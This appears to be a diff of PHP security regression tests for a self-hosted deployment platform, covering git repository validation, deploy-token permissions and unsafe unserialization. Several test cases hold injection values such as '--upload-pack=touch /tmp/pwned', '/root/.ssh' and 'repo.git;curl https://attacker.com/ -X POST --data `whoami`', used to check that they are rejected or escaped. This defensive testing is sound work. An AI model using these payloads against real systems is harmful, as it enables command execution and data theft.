||||
});
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Source;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
$this->token = $this->user->createToken('git-repository-update-test', ['*'])->plainTextToken;
|
||||
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'build_pack' => 'dockerfile',
|
||||
'git_repository' => 'git@github.com:org/repo.git',
|
||||
'git_branch' => 'main',
|
||||
'private_key_id' => $privateKey->id,
|
||||
]);
|
||||
});
|
||||
|
||||
function patchApplicationGitRepository(mixed $gitRepository)
|
||||
{
|
||||
return test()->withHeaders(['Authorization' => 'Bearer '.test()->token])
|
||||
->patchJson('/api/v1/applications/'.test()->application->uuid, ['git_repository' => $gitRepository]);
|
||||
}
|
||||
|
||||
test('PATCH rejects a git repository that git would read as an option', function (string $gitRepository) {
|
||||
patchApplicationGitRepository($gitRepository)
|
||||
->assertUnprocessable()
|
||||
->assertInvalid(['git_repository']);
|
||||
|
||||
expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/repo.git');
|
||||
})->with([
|
||||
'upload-pack option' => ['--upload-pack=touch /tmp/pwned'],
|
||||
'option without value' => ['--upload-pack'],
|
||||
'short option path' => ['-u/x'],
|
||||
'absolute local path' => ['/root/.ssh'],
|
||||
'shell characters' => ['git@github.com:org/repo.git;id'],
|
||||
]);
|
||||
|
||||
test('PATCH accepts a valid git repository URL', function () {
|
||||
patchApplicationGitRepository('git@github.com:org/other-repo.git')->assertOk();
|
||||
|
||||
expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/other-repo.git');
|
||||
});
|
||||
|
||||
test('PATCH accepts the stored git repository without a new check', function () {
|
||||
$this->application->forceFill(['git_repository' => 'legacy value'])->saveQuietly();
|
||||
|
||||
patchApplicationGitRepository('legacy value')->assertOk();
|
||||
});
|
||||
|
||||
test('the Source form rejects a git repository that git would read as an option', function () {
|
||||
Livewire::actingAs($this->user)
|
||||
->test(Source::class, ['application' => $this->application])
|
||||
->set('gitRepository', '--upload-pack=touch /tmp/pwned')
|
||||
->call('submit')
|
||||
->assertDispatched('error')
|
||||
->assertNotDispatched('success');
|
||||
|
||||
expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/repo.git');
|
||||
});
|
||||
|
||||
test('the deploy key ls-remote and clone commands end the git options before the repository', function () {
|
||||
$this->application->forceFill(['git_repository' => '--upload-pack=touch /tmp/pwned'])->saveQuietly();
|
||||
$application = $this->application->refresh();
|
||||
|
||||
$lsRemote = collect($application->generateGitLsRemoteCommands('deploy-uuid', false)['commands'])->flatten()->implode("\n");
|
||||
$clone = collect($application->generateGitImportCommands('deploy-uuid', exec_in_docker: false)['commands'])->flatten()->implode("\n");
|
||||
|
||||
expect($lsRemote)->toContain("git ls-remote -- '--upload-pack=touch /tmp/pwned'")
|
||||
->and($clone)->toContain("-b 'main' -- '--upload-pack=touch /tmp/pwned'");
|
||||
});
|
||||
@@ -691,6 +691,71 @@ describe('POST /api/v1/applications/{uuid}/previews', function () {
|
||||
'write' => [['write']],
|
||||
]);
|
||||
|
||||
test('a deploy-only token cannot open a preview', function () {
|
||||
$this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy'])))
|
||||
->postJson("/api/v1/applications/{$this->application->uuid}/previews", [
|
||||
'pull_request_id' => 42,
|
||||
'git_type' => 'github',
|
||||
])
|
||||
->assertForbidden();
|
||||
|
||||
expect(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse()
|
||||
->and($this->application->deployment_queue()->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('a deploy-only token cannot change an existing preview', function (array $changes) {
|
||||
$preview = createPreview($this->application, 42);
|
||||
$preview->update(['git_type' => 'github']);
|
||||
|
||||
$this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy'])))
|
||||
->postJson("/api/v1/applications/{$this->application->uuid}/previews", ['pull_request_id' => 42, ...$changes])
|
||||
->assertForbidden();
|
||||
|
||||
$preview->refresh();
|
||||
expect($preview->git_type)->toBe('github')
|
||||
->and($preview->pull_request_html_url)->toBe('https://github.com/example/repo/pull/42')
|
||||
->and($this->application->deployment_queue()->exists())->toBeFalse();
|
||||
})->with([
|
||||
'git type' => [['git_type' => 'gitlab']],
|
||||
'pull request url' => [['pull_request_html_url' => 'https://github.com/other/repo/pull/42']],
|
||||
]);
|
||||
|
||||
test('a deploy-only token can redeploy an existing preview without changes', function () {
|
||||
$preview = createPreview($this->application, 42);
|
||||
$preview->update(['git_type' => 'github']);
|
||||
|
||||
$this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy'])))
|
||||
->postJson("/api/v1/applications/{$this->application->uuid}/previews", [
|
||||
'pull_request_id' => 42,
|
||||
'git_type' => 'github',
|
||||
'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('message', 'Preview deployment queued.');
|
||||
|
||||
expect($this->application->deployment_queue()->latest('id')->first()->pull_request_id)->toBe(42);
|
||||
});
|
||||
|
||||
test('a member with only a deploy grant cannot open a preview', function () {
|
||||
$member = User::factory()->create();
|
||||
$this->team->members()->attach($member->id, [
|
||||
'role' => 'member',
|
||||
'access' => json_encode([
|
||||
['scope' => 'project', 'uuid' => $this->project->uuid, 'levels' => ['read', 'deploy']],
|
||||
]),
|
||||
]);
|
||||
|
||||
$this->withHeaders(previewAuthHeaders(createTeamApiToken($member, $this->team, ['read', 'write', 'deploy'])))
|
||||
->postJson("/api/v1/applications/{$this->application->uuid}/previews", [
|
||||
'pull_request_id' => 42,
|
||||
'git_type' => 'github',
|
||||
])
|
||||
->assertForbidden();
|
||||
|
||||
expect(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse()
|
||||
->and($this->application->deployment_queue()->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('returns 404 for an application of another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherUser = User::factory()->create();
|
||||
|
||||
@@ -184,3 +184,33 @@ test('a member without deploy access cannot create or change a docker image prev
|
||||
expect($application->previews()->pluck('docker_registry_image_tag', 'pull_request_id')->all())->toBe([7 => 'pr_7']);
|
||||
expect($application->deployment_queue()->count())->toBe(0);
|
||||
});
|
||||
|
||||
test('a deploy-only token cannot open or retag a docker image preview but can redeploy it', function () {
|
||||
$application = createDockerImageApplication($this->environment, $this->destination);
|
||||
ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 7,
|
||||
'pull_request_html_url' => '',
|
||||
'docker_registry_image_tag' => 'pr_7',
|
||||
]);
|
||||
$token = $this->user->createToken('deploy-only', ['deploy'], null, $this->team->id)->plainTextToken;
|
||||
|
||||
foreach ([[1234, 'pr_1234'], [7, 'other']] as [$pullRequestId, $dockerTag]) {
|
||||
$this->withHeaders(['Authorization' => 'Bearer '.$token])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => $pullRequestId,
|
||||
'docker_tag' => $dockerTag,
|
||||
])->assertJsonPath('deployments.0.message', 'Missing required permissions: write. Opening a preview or changing its docker tag needs the write permission.');
|
||||
}
|
||||
|
||||
expect($application->previews()->pluck('docker_registry_image_tag', 'pull_request_id')->all())->toBe([7 => 'pr_7'])
|
||||
->and($application->deployment_queue()->count())->toBe(0);
|
||||
|
||||
$this->withHeaders(['Authorization' => 'Bearer '.$token])->postJson('/api/v1/deploy', [
|
||||
'uuid' => $application->uuid,
|
||||
'pull_request_id' => 7,
|
||||
'docker_tag' => 'pr_7',
|
||||
])->assertSuccessful();
|
||||
|
||||
expect($application->deployment_queue()->latest('id')->first()->docker_registry_image_tag)->toBe('pr_7');
|
||||
});
|
||||
|
||||
@@ -175,3 +175,12 @@ describe('on a reachable server', function () {
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
it('allows a rollback only to a listed image or a successful production deployment', function () {
|
||||
rollbackDeployment($this->application, 'aaaaaaa', '2026-10-01 10:00:00');
|
||||
rollbackDeployment($this->application, 'bbbbbbb', '2026-10-02 10:00:00', ['pull_request_id' => 3]);
|
||||
|
||||
expect(GetRollbackImages::allows($this->application, 'aaaaaaa'))->toBeTrue()
|
||||
->and(GetRollbackImages::allows($this->application, 'bbbbbbb'))->toBeFalse()
|
||||
->and(GetRollbackImages::allows($this->application, str_repeat('f', 40)))->toBeFalse();
|
||||
});
|
||||
|
||||
@@ -195,7 +195,7 @@ test('the deployment job ls-remote uses the HTTPS credential in the helper conta
|
||||
$application = gitHttpsCredentialApplication($this->repository);
|
||||
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
|
||||
$reflection = new ReflectionObject($job);
|
||||
foreach (['application' => $application, 'customPort' => 22, 'fullRepoUrl' => $this->repository] as $property => $value) {
|
||||
foreach (['application' => $application, 'customPort' => 22, 'deployment_uuid' => 'deploy-uuid', 'fullRepoUrl' => $this->repository] as $property => $value) {
|
||||
$reflection->getProperty($property)->setValue($job, $value);
|
||||
}
|
||||
|
||||
|
||||
@@ -418,7 +418,12 @@ test('manage_preview creates, updates and deletes a preview of the token team',
|
||||
expect(mcpAppIsError($writeOnly))->toBeTrue()
|
||||
->and(mcpAppText($writeOnly))->toContain('deploy');
|
||||
|
||||
$created = mcpAppCall($deployToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]);
|
||||
$deployOnly = mcpAppCall($deployToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]);
|
||||
expect(mcpAppIsError($deployOnly))->toBeTrue()
|
||||
->and(mcpAppText($deployOnly))->toContain('Missing required permissions: write')
|
||||
->and(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse();
|
||||
|
||||
$created = mcpAppCall(mcpAppToken($this->user, ['write', 'deploy']), 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]);
|
||||
expect(mcpAppIsError($created))->toBeFalse(mcpAppText($created))
|
||||
->and(ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', 7)->exists())->toBeTrue();
|
||||
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\RejectPublishedAppKey;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Traits\ListensToTeamChannel;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
class PublishedAppKeyTestWakeupProbe
|
||||
{
|
||||
public static bool $woken = false;
|
||||
|
||||
public function __wakeup(): void
|
||||
{
|
||||
self::$woken = true;
|
||||
}
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
config(['app.maintenance.store' => 'array']);
|
||||
InstanceSettings::forceCreate(['id' => 0]);
|
||||
PublishedAppKeyTestWakeupProbe::$woken = false;
|
||||
});
|
||||
|
||||
it('refuses HTTP requests when a published key is the current or a previous key', function (array $config) {
|
||||
config($config);
|
||||
|
||||
$this->get('/api/health')
|
||||
->assertStatus(503)
|
||||
->assertSee('app-key:reencrypt');
|
||||
})->with([
|
||||
'current key' => [['app.key' => RejectPublishedAppKey::PUBLISHED_KEYS[0]]],
|
||||
'previous key' => [['app.previous_keys' => [RejectPublishedAppKey::PUBLISHED_KEYS[0]]]],
|
||||
]);
|
||||
|
||||
it('serves HTTP requests with a private key', function () {
|
||||
$this->get('/api/health')->assertOk();
|
||||
});
|
||||
|
||||
it('does not unserialize objects from a Sentinel token', function () {
|
||||
$token = encrypt(new PublishedAppKeyTestWakeupProbe);
|
||||
|
||||
$this->postJson('/api/v1/sentinel/push', [], ['Authorization' => 'Bearer '.$token])
|
||||
->assertUnauthorized();
|
||||
|
||||
expect(PublishedAppKeyTestWakeupProbe::$woken)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not unserialize objects from a team channel payload', function () {
|
||||
$component = new class
|
||||
{
|
||||
use ListensToTeamChannel;
|
||||
|
||||
public function read(array $event): array
|
||||
{
|
||||
return $this->teamChannelPayload($event);
|
||||
}
|
||||
};
|
||||
|
||||
expect($component->read(['payload' => encrypt(['teamId' => 1, 'probe' => new PublishedAppKeyTestWakeupProbe])]))
|
||||
->toHaveKey('teamId', 1)
|
||||
->and(PublishedAppKeyTestWakeupProbe::$woken)->toBeFalse();
|
||||
});
|
||||
@@ -52,6 +52,9 @@ it('creates the root user during the setup window', function () {
|
||||
});
|
||||
|
||||
it('shows how to open the setup window again when it is closed', function () {
|
||||
RootSetupWindow::openIfNoUserExists();
|
||||
$this->travel(RootSetupWindow::MINUTES * 60 + 1)->seconds();
|
||||
|
||||
$this->get('/register')
|
||||
->assertOk()
|
||||
->assertSee('docker restart coolify')
|
||||
|
||||
@@ -293,6 +293,7 @@ describe('deployment git command escaping', function () {
|
||||
foreach ([
|
||||
'application' => new Application,
|
||||
'customPort' => 22,
|
||||
'deployment_uuid' => 'deploy-uuid',
|
||||
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $job->getProperty($property);
|
||||
@@ -306,7 +307,7 @@ describe('deployment git command escaping', function () {
|
||||
$command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa');
|
||||
|
||||
expect($command)
|
||||
->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
|
||||
->toContain("git ls-remote -- 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
|
||||
->toContain('-i /root/.ssh/id_rsa')
|
||||
->not->toContain('repo.git; curl');
|
||||
});
|
||||
|
||||
@@ -91,7 +91,7 @@ test('a github app repository on the server needs no ssh setup', function () {
|
||||
|
||||
expect($checkout)->toContain('https://github.com/org/repo')
|
||||
->and($checkout)->not->toContain('coolify_git_test-uuid')
|
||||
->and($lsRemote)->toContain("git ls-remote 'https://github.com/org/repo'")
|
||||
->and($lsRemote)->toContain("git ls-remote -- 'https://github.com/org/repo'")
|
||||
->and($lsRemote)->not->toContain('bash -c')
|
||||
->and($lsRemote)->not->toContain('coolify_git_test-uuid');
|
||||
});
|
||||
|
||||
@@ -58,7 +58,7 @@ it('escapes malicious repository URLs in deploy_key type', function () {
|
||||
// Inside the docker `bash -c '...'` wrapper, the URL stays one single-quoted argument,
|
||||
// so the semicolon and backticks are never evaluated by either shell
|
||||
expect($command)
|
||||
->toContain("git ls-remote '\\''git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'\\''")
|
||||
->toContain("git ls-remote -- '\\''git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'\\''")
|
||||
->not->toContain('ls-remote git@github.com');
|
||||
});
|
||||
|
||||
|
||||
@@ -67,7 +67,7 @@ it('skips the lfs smudge filter for every git call when git lfs is disabled', fu
|
||||
$calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: false, pullRequestId: 7);
|
||||
|
||||
expect($calls)->toBe([
|
||||
'1 clone -b main https://github.com/duilio/bad-lfs-example <tmp>/repo',
|
||||
'1 clone -b main -- https://github.com/duilio/bad-lfs-example <tmp>/repo',
|
||||
'1 fetch origin pull/7/head:pr-7-coolify',
|
||||
'1 checkout pr-7-coolify',
|
||||
]);
|
||||
@@ -77,7 +77,7 @@ it('keeps the lfs smudge filter and pulls lfs objects when git lfs is enabled',
|
||||
$calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: true);
|
||||
|
||||
expect($calls)->toBe([
|
||||
'unset clone -b main https://github.com/duilio/bad-lfs-example <tmp>/repo',
|
||||
'unset clone -b main -- https://github.com/duilio/bad-lfs-example <tmp>/repo',
|
||||
'unset lfs ls-files -n',
|
||||
]);
|
||||
});
|
||||
@@ -86,7 +86,7 @@ it('skips the lfs smudge filter for the compose file checkout of a pinned commit
|
||||
$calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: true, onlyCheckout: true, commit: 'abc123def456abc123def456abc123def456abc1');
|
||||
|
||||
expect($calls)->toBe([
|
||||
'1 clone --no-checkout -b main https://github.com/duilio/bad-lfs-example <tmp>/repo',
|
||||
'1 clone --no-checkout -b main -- https://github.com/duilio/bad-lfs-example <tmp>/repo',
|
||||
'1 -c advice.detachedHead=false checkout abc123def456abc123def456abc123def456abc1',
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -76,7 +76,7 @@ it('clones a connected Gitea source over HTTPS with the OAuth token and per-comm
|
||||
expect($result['fullRepoUrl'])->toBe('https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git');
|
||||
expect($result['commands'])
|
||||
->not->toContain('git config --global')
|
||||
->toContain("{$expectedConfig} clone --recurse-submodules -b 'main' 'https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git'")
|
||||
->toContain("{$expectedConfig} clone --recurse-submodules -b 'main' -- 'https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git'")
|
||||
->toContain("{$expectedConfig} submodule update --init --recursive");
|
||||
});
|
||||
|
||||
@@ -103,7 +103,7 @@ it('runs ls-remote for a connected Gitea source with the OAuth token and custom
|
||||
$result = $application->generateGitLsRemoteCommands('test-deployment', false);
|
||||
|
||||
expect($result['fullRepoUrl'])->toBe('http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git');
|
||||
expect($result['commands'])->toContain("git ls-remote 'http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git'");
|
||||
expect($result['commands'])->toContain("git ls-remote -- 'http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git'");
|
||||
});
|
||||
|
||||
it('falls back to the Gitea source private key only when it belongs to the source team', function (int $keyTeamId, bool $expectKey) {
|
||||
|
||||
@@ -557,3 +557,20 @@ it('rejects raw control characters', function () {
|
||||
expect($validator->errors()->first('url'))->toContain('invalid characters');
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts a repository path only when the rule allows it', function () {
|
||||
$paths = ['owner/name', 'group/subgroup/name.git', 'owner/.github'];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
expect(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl(allowRepositoryPath: true)])->passes())->toBeTrue("Failed for path: {$path}")
|
||||
->and(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl])->passes())->toBeFalse("Passed for path: {$path}");
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects repository paths that git would read as an option or a local path', function () {
|
||||
$paths = ['--upload-pack=touch /tmp/x', '--upload-pack', '-u/x', '/root/.ssh', './repo/x', '.ssh/x', 'owner/../name', 'owner'];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
expect(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl(allowRepositoryPath: true)])->passes())->toBeFalse("Passed for path: {$path}");
|
||||
}
|
||||
});
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Support\RootSetupWindow;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
@@ -20,7 +20,8 @@ it('shows registration page when no users exist', function () {
|
||||
});
|
||||
|
||||
it('shows how to open the setup window again when it is closed', function () {
|
||||
Cache::flush();
|
||||
RootSetupWindow::openIfNoUserExists();
|
||||
$this->travel(RootSetupWindow::MINUTES * 60 + 1)->seconds();
|
||||
|
||||
$page = visit('/register');
|
||||
|
||||
|
||||
Reference in New Issue
Block a user